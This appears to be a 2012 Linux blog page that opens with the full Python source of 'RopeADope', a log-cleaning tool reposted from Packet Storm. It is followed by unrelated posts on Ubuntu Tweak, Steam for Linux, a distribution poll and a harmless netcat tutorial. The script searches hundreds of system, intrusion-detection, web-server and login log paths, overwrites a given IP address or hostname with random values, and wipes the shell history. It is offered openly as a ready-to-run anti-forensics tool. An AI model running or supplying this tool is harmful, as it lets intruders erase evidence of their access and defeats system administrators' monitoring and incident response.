Explore

Loading

Wednesday, May 2, 2012

RopeADope is a log cleaning script for Linux.

credits:http://packetstormsecurity.org/files/112328/ropeadope.py.txt 
 
#!/usr/bin/env python

# -*- coding: latin-1 -*- ######################################################

#                ____                     _ __                                 #

#     ___  __ __/ / /__ ___ ______ ______(_) /___ __                           #

#    / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // /                           #

#   /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, /                            #

#                                            /___/ team                        #

#                                                                              #

# Ropeadope.py -- RopeADope v1.1                                               #

#                                                                              #

# DATE                                                                         #

# 04/20/2012                                                                   #

#                                                                              #

# DESCRIPTION                                                                  #

# A linux log cleaner                                                          #

#                                                                              #

# AUTHOR                                                                       #

# pr1me [at] highhacksociety [dot] com                                         #

# http://www.nullsecurity.net/ - http://www.highhacksociety                    #

#                                                                              #

################################################################################                                                                          #



import sys

import os

import re

import random

import time

import StringIO

import commands

import mmap



def banner():

  print """



 888888ba                               .d888888  888888ba                              

 88     8b                             d8'    88  88     8b                             

a88aaaa8P' .d8888b.  88d888b. .d8888b. 88aaaaa88a 88     88 .d8888b.  88d888b. .d8888b. 

 88    8b. 88'   88  88'   88 88ooood8 88     88  88     88 88'   88  88'   88 88ooood8 

 88     88 88.  .88  88.  .88 88.  ... 88     88  88    .8P 88.  .88  88.  .88 88.  ... 

 dP     dP  88888P'  88Y888P'  88888P' 88     88  8888888P   88888P'  88Y888P'  88888P' 

oooooooooooooooooooo~88~ooooooooooooooooooooooooooooooooooooooooooooo~88~ooooooooooooooo

                     dP                                               dP            v1.1



          [--]          RopeADope v1.1 - Linux Log Cleaner          [--]

          [--]                   Written By: pr1me                  [--]

          [--]               http://www.nullsecurity.net            [--]

  

"""



def IPChk(ipaddr):

  pattern = r"\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b"

  if re.match(pattern, ipaddr):

    return True

  else:

    return False



def randomIP():

  global randIP

  randIP = '.'.join([str(random.randint(1,254)) for x in range(4)])



def randomHost():

  global randhost

  beginning = ''.join(random.choice("abcdefghijklmnopqrstuvwxyz-ABCDEFGHIJKLMNOPQRSTUVWXYZ-0123456789") for x in range(8))

  end = ['.aero','.arpa','.asia','.biz','.cat','.com','.coop','.edu','.eu','.gov','.info','.int','.jobs','.mil','.mobi','.museum','.name','.net','.org','.post','.pro','.tel','.travel','.xxx','.ac','.ad','.ae','.af','.ag','.ai','.al','.am','.an','.ao','.aq','.ar','.as','.at','.au','.aw','.ax','.az','.ba','.bb','.bd','.be','.bf','.bg','.bh','.bi','.bj','.bm','.bn','.bo','.br','.bs','.bt','.bv','.bw','.by','.bz','.ca','.cc','.cd','.cf','.cg','.ch','.ci','.ck','.cl','.cm','.cn','.co','.cr','.cs','.cu','.cv','.cx','.cy','.cz','.dd','.de','.dj','.dk','.dm','.do','.dz','.ec','.ee','.eg','.eh','.er','.es','.et','.eu','.fi','.fj','.fk','.fm','.fo','.fr','.ga','.gb','.gd','.ge','.gf','.gg','.gh','.gi','.gl','.gm','.gn','.gp','.gq','.gr','.gs','.gt','.gu','.gw','.gy','.hk','.hm','.hn','.hr','.ht','.hu','.id','.ie','.il','.im','.in','.io','.iq','.ir','.is','.it','.je','.jm','.jo','.jp','.ke','.kg','.kh','.ki','.km','.kn','.kp','.kr','.kw','.ky','.kz','.la','.lb','.lc','.li','.lk','.lr','.ls','.lt','.lu','.lv','.ly','.ma','.mc','.md','.me','.mg','.mh','.mk','.ml','.mm','.mn','.mo','.mp','.mq','.mr','.ms','.mt','.mu','.mv','.mw','.mx','.my','.mz','.na','.nc','.ne','.nf','.ng','.ni','.nl','.no','.np','.nr','.nu','.nz','.om','.pa','.pe','.pf','.pg','.ph','.pk','.pl','.pm','.pn','.pr','.ps','.pt','.pw','.py','.qa','.re','.ro','.rs','.ru','.rw','.sa','.sb','.sc','.sd','.se','.sg','.sh','.si','.sj','.sk','.sl','.sm','.sn','.so','.sr','.st','.su','.sv','.sy','.sz','.tc','.td','.tf','.tg','.th','.tj','.tk','.tl','.tm','.tn','.to','.tp','.tr','.tt','.tv','.tw','.tz','.ua','.ug','.uk','.um','.us','.uy','.uz','.va','.vc','.ve','.vg','.vi','.vn','.vu','.wf','.ws','.ye','.yt','.yu','.za','.zm','.zr','.zw']

  randend = random.choice(end)

  randhost = beginning + randend



def searchanddestroy():

  if hitme == 1:

    randomIP()

    for log in goodLogs:

      datafile = file(log)

      for line in datafile:

        if ipaddr in line:

          print "\n[*] Found IP in",log

          f = open(log, "rb+")

          size = os.path.getsize(log)

          dizz = mmap.mmap(f.fileno(), size)

          place = dizz.find(ipaddr)

          if place == -1:

            dizz.close()

          else:

            print "\tEditing IP"

            dizz.seek(place)

            dizz.write(randIP)

            dizz.close()

          print "\n[*] This House Is Clean.\n"

  elif hitme == 2:

    randomHost()

    for log in goodLogs:

      datafile = file(log)

      for line in datafile:

        if host in line:

          print "\n[*] Found Host in",log

          f = open(log, "rb+")

          size = os.path.getsize(log)

          dizz = mmap.mmap(f.fileno(), size)

          place = dizz.find(host)

          if place == -1:

            dizz.close()

          else:

            print "\tEditing Host"

            dizz.seek(place)

            dizz.write(randhost)

            dizz.close()

          print "\n[*] This House Is Clean.\n"

  else:

    sys.exit("You've fucked something up. PEBKAC!\n")



def searchanddestroy2():

  if hitme == 1:

    randomIP()

    for log2 in mlogz:

      datafile = file(log2)

      for line in datafile:

        if ipaddr in line:

          print "\n[*] Found IP in",log2

          f = open(log2, "rb+")

          size = os.path.getsize(log2)

          dizz = mmap.mmap(f.fileno(), size)

          place = dizz.find(ipaddr)

          if place == -1:

            dizz.close()

          else:

            print "\tEditing IP"

            dizz.seek(place)

            dizz.write(randIP)

            dizz.close()

          print "\n[*] This House Is Clean.\n"

  elif hitme == 2:

    randomHost()

    for log2 in mlogz:

      datafile = file(log2)

      for line in datafile:

        if host in line:

          print "\n[*] Found Host in",log2

          f = open(log2, "rb+")

          size = os.path.getsize(log2)

          dizz = mmap.mmap(f.fileno(), size)

          place = dizz.find(host)

          if place == -1:

            dizz.close()

          else:

            print "\tEditing Host"

            dizz.seek(place)

            dizz.write(randhost)

            dizz.close()

          print "\n[*] This House Is Clean.\n"

  else:

    sys.exit("You've fucked something up. PEBKAC!\n")



def validlogs():

  global logfilez

  #List of log files - Add your own or use the custom field option 

  logfilez = ['/var/adm/utmp','/usr/adm/utmp','/etc/utmp','/var/log/utmp','/var/run/utmp','/var/adm/utmp','/var/run/utmp','/usr/var/adm/utmp','/var/adm/wtmp','/usr/adm/wtmp','/etc/wtmp','/var/log/wtmp','/var/adm/wtmp','/var/run/wtmp','/usr/var/adm/wtmp','/var/adm/utmpx','/usr/adm/utmpx','/usr/run/utmpx','/etc/utmpx','/var/log/utmpx','/var/run/utmpx','/usr/var/adm/utmpx','/var/adm/wtmpx','/usr/adm/wtmpx','/etc/wtmpx','/var/log/wtmpx','/var/run/wtmpx','/usr/adm/wtmpx','/usr/var/adm/wtmpx','/var/adm/lastlog','/usr/adm/lastlog','/etc/lastlog','/var/log/lastlog','/usr/adm/lastlog','/usr/run/lastlog','/usr/var/adm/lastlog','/var/adm/pacct','/var/account/pacct','/var/log/acct','/var/log/pacct','/var/adm/acct','/var/adm/pacct','/var/account/acct','/usr/adm/acct','/var/log/prelude.log','/var/log/prelude/prelude.log','/var/adm/prelude/prelude.log','/var/adm/prelude/log/prelude.log','/var/adm/log/prelude.log','/var/ids/log/prelude.log','/var/ids/prelude/log/prelude.log','/var/ids/prelude.log','/var/prelude/prelude.log','/var/prelude/log/prelude.log','/home/log/prelude.log','/home/ids/log/prelude.log','/home/prelude/log/prelude.log','/home/ids/prelude.log','/home/prelude/prelude.log','/home/log/prelude.log','/usr/local/var/log/prelude.log','/var/log/prelude-xml.log','/var/log/prelude/prelude-xml.log','/var/adm/prelude/prelude-xml.log','/var/adm/prelude/log/prelude-xml.log','/var/adm/log/prelude-xml.log','/var/ids/log/prelude-xml.log','/var/ids/prelude/log/prelude-xml.log','/var/ids/prelude-xml.log','/var/prelude/prelude-xml.log','/var/prelude/log/prelude-xml.log','/home/log/prelude-xml.log','/home/ids/log/prelude-xml.log','/home/prelude/log/prelude-xml.log','/home/ids/prelude-xml.log','/home/prelude/prelude-xml.log','/home/log/prelude-xml.log','/usr/local/var/log/prelude-xml.log','/var/log/samba/log.smbd','/var/log/samba/log.nmbd','/var/log/log.smbd','/var/log/log.nmbd','/var/log/smb/log.smbd','/var/log/smb/log.nmbd','/home/samba/log.smbd','/home/samba/log.nmbd','/home/samba/log/log.smbd','/home/samba/log/log.nmbd','/home/samba/logs/log.smbd','/home/samba/logs/log.nmbd','/var/log/snort/snort.alert','/var/log/snort.alert','/var/log/ids/snort.alert','/var/ids/snort/snort.alert','/var/ids/snort.alert','/var/snort/snort.alert','/home/snort/snort.alert','/home/snort/log/snort.alert','/home/log/snort/snort.alert','/home/log/snort.alert','/home/ids/snort/snort.alert','/home/ids/snort.alert','/usr/local/ids/snort.alert','/usr/local/var/snort.alert','/usr/local/snort/snort.alert','/usr/local/var/log/snort.alert','/usr/local/snort/log/snort.alert','/usr/local/ids/log/snort.alert','/usr/local/log/snort.alert','/usr/local/log/snort/snort.alert','/var/log/apache2/audit_log','/var/log/apache1/audit_log','/var/log/apache/audit_log','/home/apache2/log/audit_log','/home/apache1/log/audit_log','/home/apache/log/audit_log','/home/http/log/audit_log','/home/httpd/log/audit_log','/var/log/http/audit_log','/var/log/httpd/audit_log','/usr/http/log/audit_log','/usr/httpd/log/audit_log','/usr/local/http/log/audit_log','/usr/local/httpd/log/audit_log','/usr/local/apache/log/audit_log','/usr/local/apache2/log/audit_log','/usr/local/apache1/log/audit_log','/var/www/log/audit_log','/var/http/log/audit_log','/var/httpd/log/audit_log','/var/apache/log/audit_log','/var/apache2/log/audit_log','/var/apache1/log/audit_log','/root/.bash_history','/root/.history','/root/.sh_history','/.bash_history','/.history','/.sh_history','/tmp/.bash_history','/tmp/.sh_history','/tmp/.history','/home/apache/.bash_history','/home/apache/.sh_history','/home/apache/.history','/home/apache1/.bash_history','/home/apache1/.sh_history','/home/apache1/.history','/home/apache2/.bash_history','/home/apache2/.sh_history','/home/apache2/.history','/home/httpd/.bash_history','/home/httpd/.sh_history','/home/httpd/.history','/home/ftpd/.bash_history','/home/ftpd/.sh_history','/home/ftpd/.history','/var/log/apache2/access_log','/var/log/apache2/access_log.1','/var/log/apache2/access_log.2','/var/log/apache2/error_log','/var/log/apache2/error_log.1','/var/log/apache2/error_log.2','/var/log/apache2/ssl_access_log','/var/log/apache2/ssl_access_log.1','/var/log/apache2/ssl_access_log.2','/var/log/apache2/ssl_error_log','/var/log/apache2/ssl_request_log','/var/log/apache2/request_log','/var/log/apache/access_log','/var/log/apache/access_log.1','/var/log/apache/access_log.2','/var/log/apache/error_log','/var/log/apache/error_log.1','/var/log/apache/error_log.2','/var/log/apache/ssl_access_log','/var/log/apache/ssl_error_log','/var/log/apache/ssl_request_log','/var/log/apache/request_log','/var/log/apache1/access_log','/var/log/apache1/error_log','/var/log/apache1/ssl_access_log','/var/log/apache1/ssl_error_log','/var/log/apache1/ssl_request_log','/var/log/apache1/request_log','/var/www/log/access_log','/var/www/log/error_log','/var/www/log/ssl_access_log','/var/www/log/ssl_error_log','/var/www/log/ssl_request_log','/var/www/log/request_log','/var/apache2/access_log','/var/apache2/error_log','/var/apache2/ssl_access_log','/var/apache2/ssl_error_log','/var/apache2/ssl_request_log','/var/apache2/request_log','/home/apache2/access_log','/home/apache2/error_log','/home/apache2/ssl_access_log','/home/apache2/ssl_error_log','/home/apache2/ssl_request_log','/home/apache2/request_log','/var/web/log/access_log','/var/web/log/error_log','/var/web/log/ssl_access_log','/var/web/log/ssl_error_log','/var/web/log/ssl_request_log','/var/web/log/request_log','/var/apache/access_log','/var/apache/error_log','/var/apache/ssl_access_log','/var/apache/ssl_error_log','/var/apache/ssl_request_log','/var/apache/request_log','/home/apache/access_log','/home/apache/error_log','/home/apache/ssl_access_log','/home/apache/ssl_error_log','/home/apache/ssl_request_log','/home/apache/request_log','/var/apache1/access_log','/var/apache1/error_log','/var/apache1/ssl_access_log','/var/apache1/ssl_error_log','/var/apache1/ssl_request_log','/var/apache1/request_log','/home/apache1/access_log','/home/apache1/error_log','/home/apache1/ssl_access_log','/home/apache1/ssl_error_log','/home/apache1/ssl_request_log','/home/apache1/request_log','/usr/apache1/error_log','/usr/apache1/ssl_access_log','/usr/apache1/ssl_error_log','/usr/apache1/ssl_request_log','/usr/apache1/request_log','/usr/local/apache1/error_log','/usr/local/apache1/ssl_access_log','/usr/local/apache1/ssl_error_log','/usr/local/apache1/ssl_request_log','/usr/local/apache1/request_log','/usr/apache2/error_log','/usr/apache2/ssl_access_log','/usr/apache2/ssl_error_log','/usr/apache2/ssl_request_log','/usr/apache2/request_log','/usr/local/apache2/error_log','/usr/local/apache2/ssl_access_log','/usr/local/apache2/ssl_error_log','/usr/local/apache2/ssl_request_log','/usr/local/apache2/request_log','/usr/apache/error_log','/usr/apache/ssl_access_log','/usr/apache/ssl_error_log','/usr/apache/ssl_request_log','/usr/apache/request_log','/usr/local/apache/error_log','/usr/local/apache/ssl_access_log','/usr/local/apache/ssl_error_log','/usr/local/apache/ssl_request_log','/usr/local/apache/request_log','/usr/local/httpd/access_log','/usr/local/httpd/ssl_access_log','/usr/local/httpd/error_log','/usr/local/httpd/ssl_error_log','/usr/local/httpd/ssl_request_log','/home/httpd/access_log','/home/httpd/ssl_access_log','/home/httpd/error_log','/home/httpd/ssl_error_log','/var/adm/SYSLOG','/var/adm/sulog','/var/adm/utmp','/var/adm/utmpx','/var/adm/wtmp','/var/adm/wtmpx','/var/adm/lastlog/username','/usr/spool/lp/log','/var/adm/lp/lpd-errs','/usr/lib/cron/log','/var/adm/loginlog','/var/adm/pacct','/var/adm/dtmp','/var/adm/acct/sum/loginlog','/var/adm/X0msgs','/var/adm/crash/vmcore','/var/adm/crash/unix','/var/adm/pacct','/var/adm/wtmp','/var/adm/dtmp','/var/adm/qacct','/var/adm/sulog','/var/adm/ras/errlog','/var/adm/ras/bootlog','/var/adm/cron/log','/etc/utmp','/etc/security/lastlog','/etc/security/failedlogin','/usr/spool/mqueue/syslog','/var/adm/messages','/var/adm/aculogs','/var/adm/aculog','/var/adm/sulog','/var/adm/vold.log','/var/adm/wtmp','/var/adm/wtmpx','/var/adm/utmp','/var/adm/utmpx','/var/adm/log/asppp.log','/var/log/syslog','/var/log/POPlog','/var/log/authlog','/var/log/auth1.log','/var/adm/pacct','/var/lp/logs/lpsched','/var/lp/logs/lpNet','/var/lp/logs/requests','/var/cron/log','/var/saf/_log','/var/saf/port/log','/var/adm/utmp','/var/log/utmp','/var/run/utmp','/var/adm/utmp','/var/run/utmp','/usr/var/adm/utmp','/var/adm/wtmp','/var/log/wtmp','/var/adm/wtmp','/var/run/wtmp','/usr/var/adm/wtmp','/var/adm/utmpx','/var/log/utmpx','/var/run/utmpx','/usr/var/adm/utmpx','/var/adm/wtmpx','/var/log/wtmpx','/var/run/wtmpx','/usr/var/adm/wtmpx','/var/adm/lastlog','/var/log/lastlog','/usr/var/adm/lastlog','/var/adm/pacct','/var/account/pacct','/var/log/acct','/var/log/pacct','/var/adm/acct','/var/adm/pacct','/var/account/acct','/var/log/prelude.log','/var/log/prelude/prelude.log','/var/adm/prelude/prelude.log','/var/adm/prelude/log/prelude.log','/var/adm/log/prelude.log','/var/ids/log/prelude.log','/var/ids/prelude/log/prelude.log','/var/ids/prelude.log','/var/prelude/prelude.log','/var/prelude/log/prelude.log','/usr/local/var/log/prelude.log','/var/log/prelude-xml.log','/var/log/prelude/prelude-xml.log','/var/adm/prelude/prelude-xml.log','/var/adm/prelude/log/prelude-xml.log','/var/adm/log/prelude-xml.log','/var/ids/log/prelude-xml.log','/var/ids/prelude/log/prelude-xml.log','/var/ids/prelude-xml.log','/var/prelude/prelude-xml.log','/var/prelude/log/prelude-xml.log','/usr/local/var/log/prelude-xml.log','/var/log/samba/log.smbd','/var/log/samba/log.nmbd','/var/log/log.smbd','/var/log/log.nmbd','/var/log/smb/log.smbd','/var/log/smb/log.nmbd','/var/log/snort/snort.alert','/var/log/snort.alert','/var/log/ids/snort.alert','/var/ids/snort/snort.alert','/var/ids/snort.alert','/var/snort/snort.alert','/usr/local/var/snort.alert','/usr/local/var/log/snort.alert','/var/log/apache2/audit_log','/var/log/apache1/audit_log','/var/log/apache/audit_log','/var/log/http/audit_log','/var/log/httpd/audit_log','/var/www/log/audit_log','/var/http/log/audit_log','/var/httpd/log/audit_log','/var/apache/log/audit_log','/var/apache2/log/audit_log','/var/apache1/log/audit_log','/var/log/apache2/access_log','/var/log/apache2/access_log.1','/var/log/apache2/access_log.2','/var/log/apache2/error_log','/var/log/apache2/error_log.1','/var/log/apache2/error_log.2','/var/log/apache2/ssl_access_log','/var/log/apache2/ssl_access_log.1','/var/log/apache2/ssl_access_log.2','/var/log/apache2/ssl_error_log','/var/log/apache2/ssl_request_log','/var/log/apache2/request_log','/var/log/apache/access_log','/var/log/apache/access_log.1','/var/log/apache/access_log.2','/var/log/apache/error_log','/var/log/apache/error_log.1','/var/log/apache/error_log.2','/var/log/apache/ssl_access_log','/var/log/apache/ssl_error_log','/var/log/apache/ssl_request_log','/var/log/apache/request_log','/var/log/apache1/access_log','/var/log/apache1/error_log','/var/log/apache1/ssl_access_log','/var/log/apache1/ssl_error_log','/var/log/apache1/ssl_request_log','/var/log/apache1/request_log','/var/www/log/access_log','/var/www/log/error_log','/var/www/log/ssl_access_log','/var/www/log/ssl_error_log','/var/www/log/ssl_request_log','/var/www/log/request_log','/var/apache2/access_log','/var/apache2/error_log','/var/apache2/ssl_access_log','/var/apache2/ssl_error_log','/var/apache2/ssl_request_log','/var/apache2/request_log','/var/web/log/access_log','/var/web/log/error_log','/var/web/log/ssl_access_log','/var/web/log/ssl_error_log','/var/web/log/ssl_request_log','/var/web/log/request_log','/var/apache/access_log','/var/apache/error_log','/var/apache/ssl_access_log','/var/apache/ssl_error_log','/var/apache/ssl_request_log','/var/apache/request_log','/var/apache1/access_log','/var/apache1/error_log','/var/apache1/ssl_access_log','/var/apache1/ssl_error_log','/var/apache1/ssl_request_log','/var/apache1/request_log','/var/log','/var/adm','/var/spool/mqueue','/var/mail','/var/log/emerge.log','/var/log/Xorg.0.log','/root/.bash_history','/root/.bash_logout','/usr/local/apache/logs','/usr/local/apache/log','/var/apache/logs','/var/apache/log','/var/run/utmp','/var/logs','/var/log','/var/adm','/etc/wtmp','/etc/utmp','/var/log/lastlog','/var/log/syslog','/var/log/messages','/var/log/httpd/access_log','/var/log/httpd/access.log','/var/log/httpd/error_log','/var/log/httpd/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/log/apache2/error.log','/var/log/apache2/error_log','/var/log/wtmp','/var/log/secure','/var/log/xferlog','/var/log/auth.log','/var/log/lighttpd/lighttpd.error.log','/var/log/lighttpd/lighttpd.access.log','/var/run/utmp','/var/www/logs/access_log','/var/www/logs/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/yum.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log']

  global goodLogs

  goodLogs = []

  

  print "[*] Checking for active log files\n"

  for a in logfilez:

    if os.path.isfile(a) == True:

      goodLogs.append(a)

  if len(goodLogs)>0:

    print "[*] Active logs files found:",len(goodLogs)

    for b in goodLogs:

      print "\t"+b

  else:

    print "[-] No active log files found"

    sys.exit()



def morelogz():

  global mlogz

  mlogz = []

  mlogzcheck = []

  os.chdir("/")

  print "[*] Looking for more log files..."

  logfilez2 = StringIO.StringIO(commands.getstatusoutput('find . -iname *.log -print')[1]).readlines()  

  if len(logfilez2)>0:

    for a in logfilez2:

      foo = a.strip('\n')

           mlogzcheck.append(foo)

    for b in mlogzcheck:

      if os.path.isfile(b) == True:

        mlogz.append(b)

  print "\t[*] Found:",len(mlogz),"extra logfiles"

  return mlogz



def main():

  banner()

  print ""

  if os.geteuid() != 0:

    print "\nNot running as root. Only logz accessible by non privileged users will be edited."

    

  raw_input("Press enter to get started...\n")

  

  validlogs()

  

  choice = raw_input("\nDo you want to search for more logs? [yes or no] ")

  if choice == "yes" or choice == "YES" or choice == "Yes":

    hollaback = 1

    morelogz()

  elif choice == "no" or choice == "NO" or choice == "No":

    hollaback = 2

    pass

  else:

    sys.exit("It's really not that difficult. Choose either yes or no fucker!\n")

    

  global hitme

  global ipaddr

  global host

  choice1 = raw_input("\nWould you like to remove a IP address or Hostname? [ip or hostname] ")

  if choice1 == "IP" or choice1 == "ip":

    hitme = 1

    ipaddr = raw_input("\tWhat IP address would you like removed from the logs? ")

    while IPChk(ipaddr) != True:

      print "\n\tInvalid IP! Try again!"

      ipaddr = raw_input("\tWhat IP address would you like removed from the logs? ")

    else:

      if hollaback == 1:

        searchanddestroy()

        searchanddestroy2()

      else:

        searchanddestroy()

  elif choice1 == "HOSTNAME" or choice1 == "hostname":

    hitme = 2

    host = raw_input("\tWhat Hostname would you like removed from the logs? ")

    if hollaback == 1:

      searchanddestroy()

      searchanddestroy2()

    else:

      searchanddestroy()

  else:

    sys.exit("It's really not that difficult. Choose either ip or hostname fucker!\n")

    

  if os.geteuid() == 0:

    w = open("/root/.bash_history", 'w')

    w.write("")

    w.close()



  else:

    user = os.getenv('USERNAME')

    w = open("/home/"+user+"/.bash_history", 'w')

    w.write("")

    w.close()



if __name__ == "__main__":

  try:

    main()

  except KeyboardInterrupt:

    print "\n"

    sys.exit()

Try 'Precise Tweak' to Customize Ubuntu Linux 12.04

Customizability has always been one of Linux's best defining features, and the newly released Ubuntu Linux 12.04 "Precise Pangolin" is no exception.
I've already written about a few different ways to tweak Ubuntu's Unity desktop generally, and last week one of those tools--Ubuntu Tweak--was updated to support the latest iteration of Canonical's popular Linux distribution.
Now available as a free download, Ubuntu Tweak 0.7.0--also known as "Precise Tweak"--is a brand-new version designed to help you make Ubuntu 12.04 your own. If you've been playing around with the new Ubuntu and wish some things were different about it, this new open source tool can help you make it what you want.
A New Search Feature
It was Ubuntu Tweak 0.6.0 that I covered back in January, and since then a number of additions have been made to the software, including a more polished user interface and even more ways to tweak Ubuntu.
Using Precise Tweak, you can disable Ubuntu's new Head-Up Display (HUD) interface, for example, or customize the Unity Launcher. There's also a "Reset" button to revert back to the default settings in case you change your mind along the way.
Perhaps most notable on the interface side is a new search function that's designed to make it easier than ever to zero in on the tools you need for the aspects of Ubuntu you want to modify.
Simply type in the keyword you have in mind--"HUD," "theme," or "font," for example--and Ubuntu Tweak returns matching results; from there, you simply press "tab" to navigate to and launch the relevant feature.
Four Features Return
Four features that were removed from the previous version have now been restored to Ubuntu Tweak 0.7.0: Application Center, Source Center, Templates, and Scripts. A raft of smaller improvements have been added as well, as a quick glance at the software's release notesmakes clear.
Last but not least, it's worth noting that while Ubuntu Tweak 0.7.0 sports the "Precise Tweak" nickname, it can also be used with Ubuntu 11.10 "Oneiric Ocelot."
Many more screenshots are posted in the software's official announcement. Please post your impressions in the comments if you decide to give this nifty tool a try.






Credits:http://www.pcworld.in/news/try-precise-tweak-customize-ubuntu-linux-1204-69822012

Tuesday, May 1, 2012

Valve’s Steam Software Arriving On Linux Soon

After a long wait in now seems as though Steam for Linux might actually be arriving in the next couple of months. Valve’s gaming distribution software Steam, has been available on PC systems since it was revealed to the public on 22 March 2002 at the Game Developers Conference.
Since then the game platform has arrived on Mac systems worldwide on May 12, 2010. Providing a much needed gaming service for the neglected Mac gaming scene.
Now Michael Larabel has confirmed that a Linux edition of the Steam software is currently in the works, and has already got Left 4 Dead 2 running natively on Ubuntu 11.10 with AMD Catalysts drivers. No date has been announced for the release of Steam on Linux but as soon as we hear anything else we will keep you updated.
Steam has grown from strength to strength over the years since its launch and as of January 2012, there are 1504 games available through Steam, and 40 million active user accounts, with concurrent users peaking to 5 million on January 2, 2012.


Most Popular Linux Distribution: Ubuntu (and Its Variants)


There are Linux distributions of all shapes and sizes, with varying levels of complexity and difficulty. Some are super-easy to install, and can be installed like any other OS, with minimal knowledge of the command line—you click "OK" a few times and you're up and running. Others require you get your hands reallydirty with the underpinnings of the system you're building, making sure it's just right for your specific needs. So which do you prefer? Well, earlier last week we asked you what you thought the best overall Linux distribution was, understanding that "best" is a relative term. Then we took a look at the top five Linux distros, based on your over-400 nominations, and put them to a vote. Now, we're back to crown the overall winner.
Ubuntu (and its variants) took the top spot with room to spare—bringing in just over 51% of the overall vote. Behind it in second place was Linux Mint, with close to 16% of the votes cast, and hot on its heels in third was Arch Linux with just shy of 15% of the total vote. In fourth place with 10% of the vote was the venerable Debian, and bringing up the rear with over 8% was Fedora.

Tuesday, April 24, 2012

8 Practical Linux Netcat NC Command Examples


Netcat or nc is a networking utility for debugging and investigating the network.
This utility can be used for creating TCP/UDP connections and investigating them. The biggest use of this utility is in the scripts where we need to deal with TCP/UDP sockets.
In this article we will learn about the netcat command by some practical examples.  
1. Netcat in a Server-Client Architecture
The netcat utility can be run in the server mode on a specified port listening for incoming connections.
$ nc -l 2389
Also, it can be used in client mode trying to connect on the port(2389) just opened
$ nc localhost 2389
Now, if we write some text at the client side, it reaches the server side. Here is the proof :
$ nc localhost 2389
HI, server
On the terminal where server is running :
$ nc -l 2389
HI, server
So we see that netcat utility can be used in the client server socket communication.

2. Use Netcat to Transfer Files

The netcat utility can also be used to transfer files. At the client side, suppose we have a file named ‘testfile’ containing :
$ cat testfile
hello test
and at the server side we have an empty file ‘test’
Now, we run the server as :
$ nc -l 2389 > test
and run the client as :
cat testfile | nc localhost 2389
Now, when we see the ‘test’ file at the server end, we see :
$ cat test
hello test
So we see that the file data was transfered from client to server.

3. Netcat Supports Timeouts

There are cases when we do not want a connection to remain open forever. In that case, through ‘-w’ switch we can specify the timeout in a connection. So after the seconds specified along with -w flag, the connection between the client and server is terminated.
Server :
nc -l 2389
Client :
$ nc -w 10 localhost 2389
The connection above would be terminated after 10 seconds.
NOTE : Do not use the -w flag with -l flag at the server side as in that case -w flag causes no affect and hence the connection remains open forever.

4. Netcat Supports IPV6 Connectivity

The flag -4 or -6 specifies that netcat utility should use which type of addresses. -4 forces nc to use IPV4 address while -6 forces nc to use IPV6 address.
Server :
$ nc -4 -l 2389
Client :
$ nc -4 localhost 2389
Now, if we run the netstat command, we see :
$ netstat | grep 2389
tcp        0      0 localhost:2389          localhost:50851         ESTABLISHED
tcp        0      0 localhost:50851         localhost:2389          ESTABLISHED
The first field in the above output would contain a postfix ’6′ in case the IPV6 addresses are being used. Since in this case it is not, so a connection between server and client is established using IPV4 addresses.
Now, If we force nc to use IPV6 addresses
Server :
$ nc -6 -l 2389
Client :
$ nc -6 localhost 2389
Now, if we run the netstat command, we see :
$ netstat | grep 2389
tcp6       0      0 localhost:2389          localhost:33234         ESTABLISHED
tcp6       0      0 localhost:33234         localhost:2389          ESTABLISHED
So now a postfix ’6′ with ‘tcp’ shows that nc is now using IPV6 addresses.

5. Disable Reading from STDIN in Netcat

This functionality can be achieved by using the flag -d. In the following example, we used this flag at the client side.
Server :
$ nc -l 2389
Client :
$ nc -d localhost 2389
Hi
The text ‘Hi’ will not be sent to the server end as using -d option the read from stdin has been disabled.

6. Force Netcat Server to Stay Up

If the netcat client is connected to the server and then after sometime the client is disconnected then normally netcat server also terminates.
Server :
$ nc -l 2389
Client :
$ nc localhost 2389
^C
Server :
$ nc -l 2389
$
So, in the above example we see that as soon as the client got disconnected the server was also terminated.
This behavior can be controlled by using the -k flag at the server side to force the server to stay up even after the client has disconnected.
Server :
$ nc -k -l 2389
Client :
$ nc localhost 2389
^C
Server :
$ nc -k -l 2389
So we see that by using the -k option the server remains up even if the client got disconnected.

7. Configure Netcat Client to Stay Up after EOF

Netcat client can be configured to stay up after EOF is received. In a normal scenario, if the nc client receives an EOF character then it terminates immediately but this behavior can also be controlled if the -q flag is used. This flag expects a number which depicts number of seconds to wait before client terminates (after receiving EOF)
Client should be started like :
nc  -q 5  localhost 2389
Now if the client ever receives an EOF then it will wait for 5 seconds before terminating.

8. Use Netcat with UDP Protocol

By default all the sockets that nc utility creates are TCP protocols but this utility also works with UDP protocol. To enable UDP protocol the -u flag is used.
Server :
$ nc -4 -u -l 2389
Client :
$ nc -4 -u localhost 2389
Now, both the server and client are configured to use UDP protocol. This can be confirmed by the following netstat command. So we see that this connection is now using the UDP protocol.
$ netstat | grep 2389
udp        0      0 localhost:42634         localhost:2389          ESTABLISHED